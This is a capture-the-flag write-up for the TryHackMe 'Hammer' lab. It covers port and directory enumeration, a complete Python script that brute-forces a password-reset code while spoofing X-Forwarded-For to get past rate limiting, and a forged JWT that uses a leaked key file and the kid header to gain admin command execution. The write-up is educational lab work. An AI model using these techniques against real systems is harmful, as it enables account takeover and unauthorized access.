TryHackMe: Hammer
Hammer is a medium rated room on TryHackMe. The room starts with a web server on an unusual port having a login page and a reset password feature, enumerating the web server we found an email that we can use to reset its password after bruteforcing the recovery code, once in, we were able to execute commands, using a low privileged account we couldn’t execute much, tweaking our JWT token we were able to sign a new one that we used to escalate our privileges and execute commands freely.
Enumeration
Nmap Scan
We start with an nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ nmap -sC -sV -oN hammer.out -T4 10.10.177.213
Nmap scan report for 10.10.177.213
Host is up (0.27s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:14:9e:8e:bc:de:ee:d5:e1:45:b4:0f:a8:5e:b9:47 (RSA)
| 256 a0:88:c3:90:43:1a:57:40:36:87:ed:d6:68:d1:98:c9 (ECDSA)
|_ 256 13:35:c6:5f:4f:6a:1b:1b:a5:a4:c0:47:8b:1e:da:62 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 30 22:00:49 2024 -- 1 IP address (1 host up) scanned in 12.39 seconds
Looking at the result we only have 1 port open, running nmap one more time with -p-
flag for all ports we get a hit on port 1337
.
1
2
3
4
5
6
7
8
PORT STATE SERVICE VERSION
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Web Server
Taking a look at port 1337
using our browser we get a login page.
So we start by tring some default credentials but we don’t get anywhere we can see that there’s a forgot password feature as well but it won’t be helpful for the moment as trying to bruteforce it won’t do the trick and we’ll go down a rabbit hole. Looking through the source code of index.php
we can see a comment.
1
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
Taking that into consideration we start crafting our custom wordlist with hmr_
as the first word of each line.
1
2
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ sed "s/^/hmr_/g" /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt > wordlist.txt
Running gobuster on http://10.10.162.11:1337/
will reveal an /hmr_logs
directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ gobuster dir -w wordlist.txt -u http://10.10.162.11:1337/ -t 100 -r -o gobuster.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.162.11:1337/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: wordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/hmr_images (Status: 200) [Size: 954]
/hmr_js (Status: 200) [Size: 962]
/hmr_css (Status: 200) [Size: 957]
/hmr_logs (Status: 200) [Size: 948]
Progress: 33788 / 43008 (78.56%)
Taking a look at the directory we can find an error.log
file that contains an email that we can use later on.
Going back to the Password Reset, once we submit the email we were asked to enter a recovery code.
Exploitation
Bruteforcing Recovery Code
The first thing that came into our mind is bruteforce! we need to bruteforce the 4 digit code in order to reset that user’s password. Before that, we decided to capture the request using Burpsuite in order to investigate it further.
Taking a closer look, we can see a Rate-Limit-Pending
header in the response which means that after a certain amount of requests we will be timed-out/banned, in our case, 5. To bypass that, many techniques can be used hacktricks has them covered in this post. Adding the X-Forwarded-For
header allowed us to bypass the rate-limit filter by changing its value with each request.
Now, we are able to bruteforce that recovery code, the only problem left is the 180 secondes, so we need to perform a bruteforce that does not exceed 180 secondes to retrieve the code. Having that in mind we crafted a python script utilizing the concurrent.futures
module for threads.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
url = 'http://10.10.162.11:1337/reset_password.php'
headers = {
'Host': '10.10.162.11:1337',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://10.10.162.11:1337',
'Connection': 'close',
'Referer': 'http://10.10.162.11:1337/reset_password.php',
'Cookie': 'PHPSESSID=1k4655im23fa0vo6ghq1ioeols',
'Upgrade-Insecure-Requests': '1',
}
def send_request(code):
x_forwarded_for = f'{code:04d}'
recovery_code = x_forwarded_for
headers['X-Forwarded-For'] = x_forwarded_for
data = {
'recovery_code': recovery_code,
's': '118'
}
with requests.Session() as session:
response = session.post(url, headers=headers, data=data)
response_length = len(response.content)
return (recovery_code, x_forwarded_for, response.status_code, response_length)
def main():
start = 1000
end = 9999
num_workers = 50
with ThreadPoolExecutor(max_workers=num_workers) as executor:
futures = [executor.submit(send_request, code) for code in range(start, end + 1)]
for future in as_completed(futures):
recovery_code, x_forwarded_for, status_code, response_length = future.result()
print(f'Recovery code {recovery_code} with X-Forwarded-For {x_forwarded_for} sent, status code: {status_code}, response length: {response_length}')
if __name__ == "__main__":
main()
⚠️ Note: be sure to change the host ip and the PHPSESSID before executing the script
So what the script does is that it keeps sending the POST requests by altering the recovery_code
and the X-Forwarded-For
values simultaneously from 1000 to 9999 and catches each request response length. The script is not well optimized so we need to keep an eye on the response length, once it gets changed to a new value we can confirm that the code has been found we can now hit CTRL-C
to stop the script.
After submiting the email we got and were asked to put the recovery code we launched the script. Letting it run for a while we see the response length has changed from 2202
to 2191
and then to 2192 which means that a code has been found, in our case 7602
, the only thing left to do is to refresh the /reset_password.php
page and we’ll be asked to change the password.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ python3 script.py
Recovery code 1001 with X-Forwarded-For 1001 sent, status code: 200, response length: 2202
Recovery code 1006 with X-Forwarded-For 1006 sent, status code: 200, response length: 2202
Recovery code 1008 with X-Forwarded-For 1008 sent, status code: 200, response length: 2202
[.....]
Recovery code 7599 with X-Forwarded-For 7599 sent, status code: 200, response length: 2202
Recovery code 7601 with X-Forwarded-For 7601 sent, status code: 200, response length: 2202
Recovery code 7602 with X-Forwarded-For 7602 sent, status code: 200, response length: 2191
Recovery code 7603 with X-Forwarded-For 7603 sent, status code: 200, response length: 2292
Recovery code 7604 with X-Forwarded-For 7604 sent, status code: 200, response length: 2292
[....]
Refreshing the page will result in the possibility to change the password.
Initial Foothold
Logging in with the new credentials we were able to retrieve the first flag and get an input box to execute commands!
Capturing that with burpsuite as we keep getting logged out of the page, we need to set the persistentSession
cookie value to yes
so we can keep executing commands.
Taking a look at which commands we are able to execute, it seems like there’s only ls
that works just fine we can’t do anything else, trying to bypass the filter won’t work as well. Taking a look at the ls
output we see different files and directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php
vendor
within the files/directories we see an odd file, called 188ade1.key
trying to get that by browsing to http://10.10.162.11:1337/188ade1.key
we were able to download it. Taking a look at the file content we see an md5 hash.
1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ cat 188ade1.key
56058354efb3[REDACTED]
Trying to crack it will get us into a rabbit hole so we know that the purpose of the file must certainly be something else. Looking for a while we decided to decode our jwt token at https://jwt.io
.
JWT Authentification Bypass
The first thing we notice is the kid
header referencing /var/www/mykey.key
so we know that the tokens are being signed with the content of that file so we are probably able to bypass the jwt authentification via that kid
header.
Here is a video by Intigriti, a bug bounty platform, that convers how it works.
Editing the kid
value in jwt.io
with the path to /var/www/html/188ade1.key
, modify the role to admin and setting the secret to the content of that file we were able to sign a new token and execute commands without any filters.
And with that, we can say the room is now over!